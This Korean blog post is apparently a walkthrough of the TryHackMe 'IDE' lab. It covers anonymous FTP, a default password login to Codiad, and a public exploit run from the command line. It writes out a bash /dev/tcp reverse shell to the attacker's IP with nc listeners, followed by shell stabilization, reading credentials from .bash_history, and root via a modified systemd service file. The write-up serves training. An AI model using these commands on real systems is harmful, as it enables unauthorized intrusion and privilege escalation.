본문으로 바로가기

[TryHackMe] IDE

category Pentest/TryHackMe 2021. 10. 17. 19:05
728x90
반응형

 

Scanning

해당 Machine은 Nmap 기본 옵션으로 Scan 했을 때 공략 가능한 Port을 찾지 못했다. 모든 Port를 Scan해봐야 할 것 같은데 그러려면 시간이 오래걸리기 떄문에 RustScan을 이용해보기로 했다. 물론 Nmap을 이용해도 탐지가 가능하긴 하다

ftp, ssh, http 그리고 62337 포트가 열려있다. 하나씩 접근해보자.
 

FTP Enumeration

FTP 부터 살펴보자

anonymous 접근에 대한 제한이 걸려있지 않기 때문에 anonymous 계정으로 접속해 힌트가 될만한 파일이 있는지 살폈을 때 파일 이름이 '-'인 파일이 있다.

무슨 파일인지 식별은 되지 않았는데 파일 실행 결과가 이상한 걸 보니 text를 포함하고 있는 파일이지 않을까 유추할 수 있었다. 확장자를 .txt로 변경하고 파일을 읽어주면 아래와 같이 메시지가 나온다.

drac이란 유저가 john에게 보내는 메시지이고 john의 패스워드가 Reset 되었으니 default password로 로그인하라는 내용이다. 잘 기억해두자.

 

HTTP Enumeration

Scan 단계에서 얻었던 80포트에서는 힌트를 얻지 못하니 62337 포트로 접근해보자.
로그인 화면이 나왔다. Source Viewer로 살펴보면 해당 서비스의 이름이 Codiad인 것을 알 수 있다. 지금까지 얻은 유저 정보는 john의 계정 정보이다. Username에 john을 Password에 password를 입력했을 떄 로그인이 가능하다.

 

Exploit

해당 exploit source를 읽고 사용하려고 했을 때 왜인지 다음과 같은 에러가 일어난다.

수정할 필요가 있어 보인다.

주석 처리된 부분은 수정한 부분

# tty1
$ python 49705.py http://10.10.189.209:62337/ john password 10.9.26.67 4444 linux

# tty2
$ echo 'bash -c "bash -i >/dev/tcp/10.9.26.67/4445 0>&1 2>&1"' | nc -lnvp 4444

# tty3
$ nc -lnvp 4445
exploit 모듈은 위와 같이 터미널 세션이 필요하다. 성공했을 경우 tty3에 Reverse Shell이 잡힌다.
 

Stabilize Shell With USER Escalate

Exploit 모듈로 Reverse Shell을 얻었을 경우 Terminal에서 Command를 수행하기 쉽지 않다. 아래와 같이 Shell을 안정화시키자.

$ /usr/bin/python3 -c "import pty;pty.spawn('/bin/bash')"
$ CTRL ^Z
$ stty raw -echo && fg
$ export TERM=xterm

이후 아래 경로에서 drac의 directory에서 .bash_history에 내용을 읽어보면 password가 나온다.

이후 drac으로 su를 하자.

 

Root Priviliege Escalate

drac은 vsftpd 서비스를 root 권한으로 재시작할 수 있다. vsftpd 서비스가 재시작할 때 참조하는 서비스 파일을 이용해 root 권한을 얻어보자. 서비스 정보를 얻어보자.

service 파일의 경로를 얻었으니 서비스 파일을 아래와 같이 수정하자.

서비스 파일을 수정했으니 밑에처럼 daemon-reload로 같이 해주고 터미널을 하나 더 열어 Reverse Shell을 하나 더 열어주고 서비스를 재시작하면 root 권한을 얻을 수 있다.

 

Reference

https://jasonturley.xyz/how-to-stabilize-a-reverse-shell/

 

How to Stabilize a Reverse Shell

Introduction When doing CTF challenges, it is often favorable to spawn a reverse shell on the target machine. These shells are usually bare-bones and lack a myriad of features. For example, tab-completion and the su command often do not work. Even worse, p

jasonturley.xyz

https://gist.github.com/A1vinSmith/78786df7899a840ec43c5ddecb6a4740

 

Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID)

Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID) - Privilege Escalation.md

gist.github.com

 

728x90
반응형

'Pentest > TryHackMe' 카테고리의 다른 글

[TryHackMe] OverPass2  (0) 2023.07.15
[TryHackMe] Ninja Skills  (0) 2023.03.18
JPGChat : ServerSide Injection  (0) 2021.03.11
[Try Hack Me] : Chill Hack ( part.2 Root)  (0) 2020.12.12
[Try Hack Me] : Chill Hack ( part.1 USER Escalate)  (0) 2020.12.07